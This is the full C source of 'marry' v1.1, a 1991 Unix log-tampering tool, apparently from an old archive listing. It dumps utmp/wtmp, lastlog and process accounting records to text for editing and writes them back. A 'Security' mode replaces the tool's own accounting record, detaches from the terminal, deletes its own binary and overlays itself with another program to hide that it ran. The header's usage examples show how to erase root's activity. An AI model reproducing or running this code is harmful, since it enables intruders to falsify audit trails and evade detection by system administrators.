home *** CD-ROM | disk | FTP | other *** search
-
-
- /* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
- * All rights reserved.
- *
- * May there be peace in the world, and objectivity amoung men.
- *
- * You may not use this program for unethical purposes.
- *
- * You may not use this program in relation to your employment, or for monetary
- * gain without express permission from the author.
- *
- * usage:
- * marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
- * [-E editor] [-h program] [-b backup ]
- *
- * -a automode, dump, run editor over dump and re-assemble to object
- * -e edit source, assemble directly to input file, imples no insertion
- * of records before an equal quantity of deltion
- * -t truncate object to last line of dump source when assembling
- * -s squeeze, delete all record in input not occuring in dump
- * (higher entries in input will be appended unless -t is also
- * specified)
- * -u when in [L]astlog mode do user-id -> name lookups (time consuming)
- * -S Security, when in [A]cct and -[a]uto mode replace editor's acct
- * record with an unmodified random previous entry, detach from
- * terminal, SIGKILL ourselves or execlp [-h program] to hide our
- * acct record (marry should be exec'ed under these circumstances)
- * -c clean, delete backup and dump files once complete
- * -D Delete our self once complete (i.e argv[0])
- * -n no backups, don't make backups when in -e, -a modes or when
- * -i file == -o file
- * -i src input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
- * to the system wtmp/lastlog/pacct depending on mode if not specified
- * -o obj output, the dump assembled and input merged version of the
- * above. if given and not in -[a]uto mode, implies we are
- * assembling, not dumping.
- * -d dump dump, the dump (editable representation of src) file name. this
- * is is either an input (-o specified) an output (no -o) or both
- * -[a]uto. defaults to "marry.dmp" in the current directory if not
- * specified
- * -p pat pattern match. When disassembling (dumping), only extract records
- * which match (checked against all string fields, and the uid if
- * the pattern is a valid username)
- * -v pat inverse pattern match. like egrep -v. above non-logic features.
- * -m mode mode is one of:
- *
- * W - utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
- * L - lastlog
- * A - acct/pacct
- *
- * -E editor editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
- * be the full path in -[S]ecurity mode (we do some clever
- * symlinking)
- * -h program hide, if -S mode is on, then attempt to conceal our acct entry by
- * execlp'ing the specified program. this seems to work on BSD derived
- * systems. with others, your might want to just call marry something
- * innocous.
- * -b backup name of backup file, defaults to "marry.bak"
- *
- * the following instruction codes can be placed in position one of the dump
- * lines to be assembled (e.g "0057a" -> "=057a"):
- *
- * '=' tag modification of entry.
- * '+' tag insertion of entry
- *
- * Examples:
- *
- * $ marry -mW -i /etc/utmp -s -a # dump, edit, re-assemble and strip deleted
- * # entries from utmp
- *
- * $ marry -mL -u -a -n -e # dump lastlog with usernames, edit, make no
- * # backups and re-assemble in-situ directly to
- * # lastlog
- *
- * $ marry -mW -a -p mil -E emacs # dump all wtmp entries matching "mil", edit
- * # with emacs, re-assemble and re-write to wtmp
- *
- * $ exec marry -mA -SceD # dump all acct entries by root, edit, remove
- * -h /usr/sbin/in.fingerd # editor's acct record, re-assemble directly
- * -p root -a -i /var/account/acct # to acct in-situ, delete backup and dump file,
- * # delete ourself from the disk, unassign our
- * # controling terminal, and lastly overlay our
- * # self (and thus our to be acct record) with
- * # in.fingerd
- */
-
- #define UTMP
- #undef UTMPX /* solaris has both */
- #define LASTLOG
- #define PACCT
-
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/stat.h>
- #include <sys/wait.h>
- #include <fcntl.h>
- #include <signal.h>
- #include <pwd.h>
- #include <grp.h>
- #include <errno.h>
-
- #ifdef __SVR3
- # include <getopts.h>
- #endif
- #ifndef bsd
- # if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__)
- # define bsd
- # endif
- #endif
-
- #if !defined(gcc)
- # define NO_VOID /* non gcc, early compiliers */
- #endif
-
- #ifndef __SVR3
- extern char *optarg;
- #endif
-
- #ifdef NO_VOID
- # define VOID int
- # define FVOID
- #else
- # define VOID void
- # define FVOID void
- #endif
-
- #ifndef bool
- # define bool char
- #endif
-
- #define match(a,b) (match_s((a), (b), sizeof(a)))
-
- #ifdef UTMP
- #ifdef UTMPX
- # include <utmpx.h>
- # define S_UTMP utmpx
- # define UT_HOST ut_host
- # define UT_ID ut_id
- # define UT_TYPE ut_type
- # define UT_PID ut_pid
- # define UT_TV ut_tv
- # ifdef _PATH_WTMPX
- # define WTMP_FILE _PATH_WTMPX
- # else
- # ifdef WTMPX_FILE
- # define WTMP_FILE WTMPX_FILE
- # else
- # define WTMP_FILE "/usr/adm/wtmpx"
- # endif
- # endif
- #else
- # include <utmp.h>
- # define S_UTMP utmp
- # ifndef WTMP_FILE
- # ifdef _PATH_WTMP
- # define WTMP_FILE _PATH_WTMP
- # else
- # define WTMP_FILE "/usr/adm/wtmp"
- # endif
- # endif
- # if !defined(ut_name) && !defined(ut_user)
- # define ut_user ut_name
- # endif
- # if defined(linux) || defined(bsd) || defined(sun)
- # define UT_HOST ut_host
- # endif
- # ifdef linux
- # define UT_ADDR ut_addr
- # endif
- # define UT_TIME ut_time
- # if defined(linux) || defined(solaris)
- # define UT_PID ut_pid
- # define UT_ID ut_id
- # endif
- # if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4)
- # define UT_TYPE ut_type
- # endif
- #endif
- #endif
-
- #ifdef LASTLOG
- # ifdef bsd
- # ifndef UTMP
- # include <utmp.h>
- # endif
- # else
- # include <lastlog.h>
- # endif
- # ifndef LASTLOG_FILE
- # ifdef _PATH_LASTLOG
- # define LASTLOG_FILE _PATH_LASTLOG
- # else
- # define LASTLOG_FILE "/usr/adm/lastlog"
- # endif
- # endif
- # define LL_HOST ll_host
- #endif
-
- #ifdef PACCT
- # include <sys/acct.h>
- # ifdef bsd
- # define PACCT_FILE "/var/account/acct"
- # else
- # define PACCT_FILE "/usr/adm/pacct"
- # endif
- #endif
-
- #ifdef UT_ADDR
- # include <arpa/inet.h>
- #endif
-
- FILE *ofh, *ifh, *afh;
-
- #ifdef UTMP
- struct S_UTMP s_utmp;
- #endif
- #ifdef LASTLOG
- struct lastlog s_lastlog;
- #endif
- #ifdef PACCT
- struct acct s_acct;
- struct acct ac_saved;
- int acct_step;
- #endif
- char ac_comm_hide[32];
-
- struct passwd *uid;
- struct passwd uid_s;
- char **uida=NULL;
- char **gida=NULL;
-
- #define MAX_UID 65537
-
- char *quotes="\"\"";
-
- int globline=0;
-
- char *a_Input=NULL;
- char *a_Output=NULL;
- char *a_Pattern=NULL;
- char *a_Hide=NULL;
- #ifdef sun
- char *a_Editor="/usr/ucb/vi";
- #else
- char *a_Editor="/usr/bin/vi";
- #endif
- char *a_Dump="marry.dmp";
- char *a_Backup="marry.bak";
- bool f_Auto=0;
- bool f_Squeeze=0;
- bool f_EditSrc=0;
- bool f_Truncate=0;
- bool f_Exclude=0;
- bool f_Uid=0;
- bool f_Security=0;
- bool f_Clean=0;
- bool f_DeleteSelf=0;
- bool f_NoBackups=0;
- bool f_backedup;
- char mode;
-
- int mode_size=0;
- void *mode_data;
-
- int globline;
- char *mes;
- time_t otime=0;
- FVOID display()
- {
- static int n;
- time_t t;
- globline++;
- if (n++<30) return; /* don't want too many context switches */
- n=0;
- time(&t);
- if (t<(otime+1)) return;
- otime=t;
- printf("%s%d\r", mes, globline);
- fflush(stdout);
- }
- FVOID display_end()
- {
- printf("%s%d\n", mes, globline);
- fflush(stdout);
- }
-
- #ifdef NO_VOID
- char
- #else
- void
- #endif
- *
- Smalloc(n)
- int n;
- {
- #ifdef NO_VOID
- char
- #else
- void
- #endif
- * p;
- while (!(p=malloc(n))) sleep(1);
- return p;
- }
-
- bool copyf(src, dst)
- char *src;
- char *dst;
- {
- #define CBUFLEN 128*1024
- int fi, fo;
- char *buf;
- int cc;
- if ((fi=open(src, O_RDONLY, 0))<0)
- {
- perror(src);
- exit(1);
- }
- if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
- {
- perror(dst);
- exit(1);
- }
- buf=Smalloc(CBUFLEN);
- while ((cc=read(fi, buf, CBUFLEN))>0)
- if (write(fo, buf, cc)!=cc)
- {
- perror(dst);
- exit(1);
- }
- close(fo);
- close(fi);
- free(buf);
- return 1;
- }
-
- bool backup(src)
- char *src;
- {
- printf("backup = %s\n", a_Backup);
- fflush(stdout);
- return copyf(src, a_Backup);
- }
-
- char *match_s(haystack, needle, n)
- char *haystack;
- char *needle;
- int n;
- {
- static char tmp[256];
- strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
- return strstr(tmp, needle);
- }
-
- unsigned short atoi2(s)
- char *s;
- {
- return (s[0]-'0')*10+(s[1]-'0');
- }
-
- char *p_string(s, size)
- char *s;
- int size;
- {
- static char sss[1024];
- register int n;
- char *ss=sss;
- if (!*s) return quotes;
-
- for (n=0; n<size; n++)
- {
- char c=s[n];
- switch (c)
- {
- case '\\':
- *(ss++)=c;
- break;
- case ' ':
- *(ss++)='\\';
- break;
- case '\t':
- *(ss++)='\\';
- c='t';
- break;
- case '\n':
- *(ss++)='\\';
- c='n';
- break;
- case '\r':
- *(ss++)='\\';
- c='r';
- break;
- case 0:
- goto end;
- }
- *(ss++)=c;
- }
- end:
- *ss=0;
- return sss;
- }
-
- char *skip_white(s)
- char *s;
- { for (; *s && (*s=='\t' || *s==' '); s++);
- if (!*s || (*s=='\n')) return NULL;
- return s;
- }
-
- char *g_string(d, s, size)
- char *d;
- char *s;
- int size;
- {
- int y;
- char c;
- char f_esc=0;
- for (y=0; y<size; y++) d[y]=0;
- if (!(s=skip_white(s))) return NULL;
- if (*s=='"' && *(s+1)=='"') return s+2;
- for (y=0; y<size; s++)
- {
- c=*s;
- if (f_esc)
- {
- switch(c)
- {
- case 'r':
- c='\r';
- break;
- case 'n':
- c='\n';
- break;
- case 't':
- c='\t';
- break;
- }
- f_esc=0;
- } else {
- switch(c)
- {
- case '\\':
- f_esc=1;
- continue;
- case ' ':
- case '\t':
- case '\n':
- case '\0':
- goto end;
- }
- }
- d[y++]=c;
- }
- end:
- return s+1;
- }
-
- char *time_s(tt)
- time_t tt;
- {
- static char s[13];
- time_t t=tt; /* some compilers won't take a parameter address */
- struct tm *tp;
- tp=localtime(&t);
- sprintf(s, "%02d%02d%02d%02d%02d%02d",
- tp->tm_year, tp->tm_mon+1, tp->tm_mday,
- tp->tm_hour, tp->tm_min, tp->tm_sec);
- return s;
- }
-
- time_t time_i(s)
- char *s;
- {
- struct tm lt;
- time_t t;
- if (strlen(s)!=12) return (time_t)-1;
- time(&t);
- lt=*localtime(&t);
- lt.tm_year=atoi2(s);
- lt.tm_mon=atoi2(s+2)-1;
- lt.tm_mday=atoi2(s+4);
- lt.tm_hour=atoi2(s+6);
- lt.tm_min=atoi2(s+8);
- lt.tm_sec=atoi2(s+10);
- lt.tm_isdst=-1;
- return mktime(<);
- }
-
- char *
- bgetgrgid(u)
- gid_t u;
- {
- struct group *gr;
- if (!gida)
- {
- int n;
- gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
- for (n=0; n<MAX_UID; n++) gida[n]=NULL;
- }
- if (gida[u]==(char *)-1) return NULL;
- if (gida[u]) return gida[u];
- if (!(gr=getgrgid(u)))
- {
- gida[u]=(char *)-1;
- return NULL;
- }
- gida[u]=Smalloc(strlen(gr->gr_name)+1);
- strcpy(gida[u], gr->gr_name);
- return gida[u];
- }
-
- char *
- bgetpwuid(u)
- uid_t u;
- {
- struct passwd *pw;
- if (!uida)
- {
- int n;
- uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
- for (n=0; n<MAX_UID; n++) uida[n]=NULL;
- }
- if (uida[u]==(char *)-1) return NULL;
- if (uida[u]) return uida[u];
- if (!(pw=getpwuid(u)))
- {
- uida[u]=(char *)-1;
- return NULL;
- }
- uida[u]=Smalloc(strlen(pw->pw_name)+1);
- strcpy(uida[u], pw->pw_name);
- return uida[u];
- }
-
- #ifdef UTMP
- bool dump_utmp(uline, ut)
- int uline;
- struct S_UTMP *ut;
- {
- time_t tim;
- if (a_Pattern)
- {
- if (!match(ut->ut_user, a_Pattern) &&
- !match(ut->ut_line, a_Pattern)
- #ifdef UT_HOST
- && !match(ut->UT_HOST, a_Pattern)
- #endif
- ) {if (!f_Exclude) return 1;}
- else if (f_Exclude) return 1;
- }
- fprintf(afh, "%05x", uline-1);
- fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
- fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
- #ifdef UT_ID
- fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
- #endif
- #ifdef UT_TYPE
- fprintf(afh, " %-2x", ut->UT_TYPE);
- #endif
- #ifdef UT_PID
- fprintf(afh, " %-5d", (int)ut->UT_PID);
- #endif
- #if defined(UT_TIME) || defined (UT_TV)
- # ifdef UT_TIME
- tim=ut->UT_TIME;
- # else
- tim=ut->UT_TV.tv_sec;
- # endif
- fprintf(afh, " %s", time_s(tim));
- #endif
- #ifdef UT_ADDR
- fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
- #endif
- #ifdef UT_HOST
- fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
- #endif
- fputc('\n', afh);
- return 1;
- }
- #endif
-
- #ifdef LASTLOG
- bool dump_lastlog(uline, ll)
- int uline;
- struct lastlog *ll;
- {
- char *name;
- struct passwd *pw;
- if (f_Uid)
- {
- pw=getpwuid(uline-1);
- name=pw? pw->pw_name: quotes;
- } else
- {
- static char s[6];
- sprintf(s, "%05d", uline-1);
- name=s;
- }
- if (a_Pattern)
- {
- if (
- (!uid || (uid->pw_uid!=(uline-1))) &&
- (!f_Uid || strstr(name, a_Pattern)) &&
- #ifdef LL_HOST
- !match(ll->ll_host, a_Pattern) &&
- #endif
- !match(ll->ll_line, a_Pattern)
- ) {if (!f_Exclude) return 1;}
- else if (f_Exclude) return 1;
- }
- fprintf(afh, "%05x", uline-1);
- fprintf(afh, " %-8s", name);
- fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
- fprintf(afh, " %s", time_s(ll->ll_time));
- #ifdef LL_HOST
- fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
- #endif
- fputc('\n', afh);
- return 1;
- }
- #endif
-
- #ifdef PACCT
- bool dump_pacct(uline, ac)
- int uline;
- struct acct *ac;
- {
- char *name;
- char *gr_name;
- if (!(name=bgetpwuid(ac->ac_uid)))
- {
- static char s[6];
- sprintf(s, "%05d", ac->ac_uid);
- name=s;
- }
- if (!(gr_name=bgetgrgid(ac->ac_gid)))
- {
- static char s[6];
- sprintf(s, "%05d", ac->ac_gid);
- gr_name=s;
- }
- if (a_Pattern)
- {
- if (
- (!uid || (uid->pw_uid!=ac->ac_uid)) &&
- (strstr(name, a_Pattern)) &&
- (strstr(gr_name, a_Pattern))
- ) {if (!f_Exclude) return 1;}
- else if (f_Exclude) return 1;
- }
- fprintf(afh, "%05x", uline-1);
- fprintf(afh, " %-8s", name);
- fprintf(afh, " %-8s", gr_name);
- fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
- if (ac->ac_tty==(dev_t)-1)
- fputs(" ----", afh);
- else
- fprintf(afh, " %04x", ac->ac_tty);
- fprintf(afh, " %2x", ac->ac_flag);
- fprintf(afh, " %s", time_s(ac->ac_btime));
- fputc('\n', afh);
- return 1;
- }
- #endif
-
- FVOID makedump()
- {
- int uline;
- if ((ifh=fopen(a_Input, "r"))==NULL)
- {
- perror(a_Input);
- exit(1);
- }
- if ((afh=fopen(a_Dump, "w"))==NULL)
- {
- perror(a_Dump);
- exit(1);
- }
- fputc('\n', stdout);
- globline=0;
- mes="entries disassembled: ";
- for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
- {
- display();
- switch(mode)
- {
- #ifdef UTMP
- case 'W':
- dump_utmp(uline, mode_data);
- break;
- #endif
- #ifdef LASTLOG
- case 'L':
- dump_lastlog(uline, mode_data);
- break;
- #endif
- #ifdef PACCT
- case 'A':
- dump_pacct(uline, mode_data);
- break;
- #endif
- }
- }
- display_end();
- fclose(afh);
- fclose(ifh);
- }
-
- int seek_ifh(uline)
- int uline;
- {
- if (ftell(ifh)!=mode_size*(uline-1))
- if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
- return 0;
- return 1;
- }
-
- #ifdef UTMP
- int mod_utmp(ut, p)
- struct S_UTMP *ut;
- char *p;
- {
- char *op;
- static char tmp[255];
- #if defined(UT_TIME) || defined(UT_TV)
- #endif
- op=p;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
- if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
- #ifdef UT_ID
- if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
- #endif
- #ifdef UT_TYPE
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
- #endif
- #ifdef UT_PID
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- ut->UT_PID=atoi(tmp);
- #endif
- #if defined(UT_TIME) || defined(UT_TV)
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- # ifdef UT_TIME
- if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
- # else /* UT_TV */
- if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
- # endif
- fprintf(stderr, "warning: invalid time spec %s", op);
- #endif
- #ifdef UT_ADDR
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- ut->UT_ADDR=inet_addr(tmp);
- #endif
- #ifdef UT_HOST
- if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
- #endif
- return 1;
- }
- #endif
-
- #ifdef LASTLOG
- int mod_lastlog(ll, p)
- struct lastlog *ll;
- char *p;
- {
- char *op;
- static char tmp[255];
- op=p;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
- if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if ((ll->ll_time=time_i(tmp))==(time_t)-1)
- fprintf(stderr, "warning illegal time: %s\n", op);
- #ifdef LL_HOST
- if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
- #endif
- return 1;
- }
- #endif
-
- #ifdef PACCT
- int mod_pacct(ac, p)
- struct acct *ac;
- char *p;
- {
- static char tmp[255];
- struct passwd *pw;
- struct group *gr;
- char *op;
- long int t;
- unsigned int tu;
- op=p;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if (sscanf(tmp, "%ld", &t)!=1)
- {
- if (!(pw=getpwnam(tmp)))
- fprintf(stderr, "warning: unknown username %s\n", op);
- else
- ac->ac_uid=pw->pw_uid;
- } else ac->ac_uid=t;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if (sscanf(tmp, "%ld", &t)!=1)
- {
- if (!(gr=getgrnam(tmp)))
- fprintf(stderr, "warning: unknown group %s\n", op);
- else
- ac->ac_gid=pw->pw_gid;
- } else ac->ac_gid=t;
- if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
- else ac->ac_tty=tu;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if (sscanf(tmp, "%x", &tu)!=1)
- fprintf(stderr, "warning: invalid flags %s\n", op);
- else ac->ac_flag=tu;
- if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
- if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
- fprintf(stderr, "warning: illegal time: %s\n", op);
- return 1;
- }
- #endif
-
- bool wcopy(uline)
- int uline;
- {
- if (!seek_ifh(uline)) return 0;
- while (fread(mode_data, mode_size, 1, ifh)>0)
- {
- display();
- #ifdef PACCT
- if (f_Security && f_Auto && mode=='A')
- {
- struct acct *p;
- p=(struct acct *)mode_data;
- if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide)))
- {
- ac_saved.ac_btime=p->ac_btime;
- *p=ac_saved;
- }
- }
- #endif
- if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
- }
- #ifndef NO_FTRUNCATE
- if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
- #endif
- return 1;
- }
-
- bool domod(p)
- char *p;
- {
- bool ret=0;
- if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
- switch(mode)
- {
- #ifdef UTMP
- case 'W':
- ret=mod_utmp(mode_data, p);
- break;
- #endif
- #ifdef LASTLOG
- case 'L':
- ret=mod_lastlog(mode_data, p);
- break;
- #endif
- #ifdef PACCT
- case 'A':
- ret=mod_pacct(mode_data, p);
- break;
- #endif
- }
- if (!ret)
- fprintf(stderr, "warning: invalid dump input `%s'\n", p);
- return 1;
- }
-
- static wu_line=0;
-
- int obj_update(uline, p, f_mod)
- int uline;
- char *p;
- char f_mod;
- {
- if (f_Squeeze)
- {
- display();
- seek_ifh(uline);
- if (f_mod) {if (!domod(p)) return 0;}
- else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
- if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
- } else {
- if (f_EditSrc)
- {
- if (f_mod)
- fseek(ofh, mode_size*(uline-1), SEEK_SET);
- } else {
- while(++wu_line<uline)
- {
- display();
- if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
- if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
- }
- }
- if (f_mod)
- {
- seek_ifh(uline);
- if (!domod(p)) return 0;
- if (f_mod==2) wu_line--;
- } else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
- if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
- display();
- }
- #ifdef PACCT
- if (f_Security && f_Auto && !f_mod && mode=='A')
- if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
- #endif
- return 1;
- }
-
- FVOID makeobject()
- {
- int uline=1;
- char line[1024];
- char *p;
- char f_mod;
- if ((ifh=fopen(a_Input, "r"))==NULL)
- {
- perror(a_Input);
- exit(1);
- }
- if ((afh=fopen(a_Dump, "r"))==NULL)
- {
- perror(a_Dump);
- exit(1);
- }
- if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
- {
- perror(a_Output);
- exit(1);
- }
- #ifdef PACCT
- if (f_Security && f_Auto && mode=='A')
- acct_step=(getpid()+8)%60;
- #endif
- fputc('\n', stdout);
- globline=0;
- mes="entries assembled: ";
- while (1)
- {
- if (!fgets((p=line), sizeof(line), afh))
- {
- if (f_EditSrc)
- {
- #ifndef NO_FTRUNCATE
- if (f_Truncate)
- {
- fflush(ofh);
- ftruncate(fileno(ofh), uline*mode_size);
- }
- #endif
- goto closeup;
- }
- if (!f_Truncate) wcopy(uline+1);
- goto closeup;
- }
- switch (*p)
- {
- case 0:
- case '#':
- case '\n':
- continue;
- case '=':
- f_mod=1;
- p++;
- break;
- case '+':
- if (f_EditSrc)
- {
- if (f_Squeeze)
- fprintf(stderr, "warning: the + operator can have \
- unpredictable effects when used in conbination with -e and -s\n");
- else
- {
- fprintf(stderr, "error: + operator used with -e\n");
- exit(1);
- }
- }
- f_mod=2;
- p++;
- break;
- default: {f_mod=0; break;}
- }
- if (sscanf(p, "%x", &uline)!=1)
- {
- perror("invalid line number in ascii input");
- exit(1);
- }
- uline++;
- if (!obj_update(uline, p, f_mod))
- {
- perror("read/write failed");
- exit(1);
- }
- }
- closeup:
- display_end();
- fclose(ofh);
- fclose(ifh);
- fclose(afh);
- }
-
- FVOID usage(s)
- char *s;
- {
- fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]\n\
- \t\t[-E editor] [-h program]\n", s);
- exit(1);
- }
-
- int main(argc, argv)
- int argc;
- char **argv;
- {
- char *ed;
- char c;
- #ifdef PACCT
- mode='A';
- #endif
- #ifdef LASTLOG
- mode='L';
- #endif
- #ifdef UTMP
- mode='W';
- #endif
-
- puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
- umask(022);
- while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
- switch(c)
- {
- case 'i':
- a_Input=optarg;
- break;
- case 'o':
- a_Output=optarg;
- break;
- case 'd':
- a_Dump=optarg;
- break;
- case 'a':
- f_Auto=1;
- break;
- case 'e':
- f_EditSrc=1;
- break;
- case 't':
- f_Truncate=1;
- break;
- case 's':
- f_Squeeze=1;
- break;
- case 'p':
- a_Pattern=optarg;
- break;
- case 'v':
- f_Exclude=1;
- a_Pattern=optarg;
- break;
- case 'm':
- mode=*optarg;
- break;
- case 'u':
- f_Uid=1;
- break;
- case 'S':
- f_Security=1;
- break;
- case 'c':
- f_Clean=1;
- break;
- case 'D':
- f_DeleteSelf=1;
- break;
- case 'n':
- f_NoBackups=1;
- break;
- case 'E':
- a_Editor=optarg;
- break;
- case 'h':
- a_Hide=optarg;
- break;
- case 'b':
- a_Backup=optarg;
- break;
- case '?':
- default:
- fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);
- usage(argv[0]);
- /* NOT_REACHED */
- }
- if (a_Output && f_EditSrc)
- {
- perror("can't have -o and -e together");
- exit(1);
- }
- switch(mode)
- {
- #ifdef UTMP
- case 'W':
- mode_size=sizeof(struct S_UTMP);
- mode_data=&s_utmp;
- if (!a_Input) a_Input=WTMP_FILE;
- break;
- #endif
- #ifdef LASTLOG
- case 'L':
- mode_size=sizeof(struct lastlog);
- mode_data=&s_lastlog;
- if (!a_Input) a_Input=LASTLOG_FILE;
- break;
- #endif
- #ifdef PACCT
- case 'A':
- mode_size=sizeof(struct acct);
- mode_data=&s_acct;
- if (!a_Input) a_Input=PACCT_FILE;
- break;
- #endif
- default:
- fprintf(stderr, "unknown mode `%c'\n", mode);
- usage();
- /*NOT_REACHED*/
- }
- if (a_Pattern) uid=getpwnam(a_Pattern);
- if (uid) {uid_s=*uid; uid=&uid_s;}
- if (f_Auto)
- {
- struct stat st1, st2;
- int pid;
- int ws;
- if (stat(a_Editor, &st1))
- {
- fprintf(stderr, "error: editor `%s' must exist with -a (check -E value)\n", a_Editor);
- exit(1);
- }
- makedump();
- if (f_Security)
- {
- sprintf(ac_comm_hide, "m%d", getpid());
- symlink(a_Editor, ac_comm_hide);
- ed=ac_comm_hide;
- } else ed=a_Editor;
-
- stat(a_Dump, &st1);
- if (!(pid=fork()))
- {
- printf("%s %s\n", ed, a_Dump);
- fflush(stdout);
- execlp(ed, ed, a_Dump, 0);
- perror(ed);
- _exit(1);
- }
- if (pid<0)
- {
- perror("fork");
- exit(1);
- }
- while (wait(&ws)!=pid);
- if (f_Security)
- unlink(ac_comm_hide);
- stat(a_Dump, &st2);
- if (st1.st_mtime==st2.st_mtime)
- {
- fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
- exit(1);
- }
- if (!a_Output || !strcmp(a_Input, a_Output))
- {
- backup(a_Input);
- f_backedup=1;
- if (!a_Output) a_Output=a_Input;
- if (!f_EditSrc)
- a_Input=a_Backup;
- }
- makeobject();
- if (f_Clean)
- unlink(a_Dump);
- if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
- }
- else if (a_Output)
- {
- if (!strcmp(a_Input, a_Output))
- {
- backup(a_Input);
- f_backedup=1;
- if (!f_EditSrc)
- a_Input=a_Backup;
- }
- makeobject();
- if (f_Clean)
- unlink(a_Dump);
- if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
- } else
- makedump();
- if (f_DeleteSelf) unlink(argv[0]);
- puts("Done.");
- if (f_Security)
- {
- close(0);
- close(1);
- close(2);
- setsid();
- if (a_Hide)
- {
- execlp(a_Hide, a_Hide, 0);
- perror(a_Hide);
- }
- if (f_Security)
- kill(getpid(), SIGKILL);
- }
- exit(0);
- }
-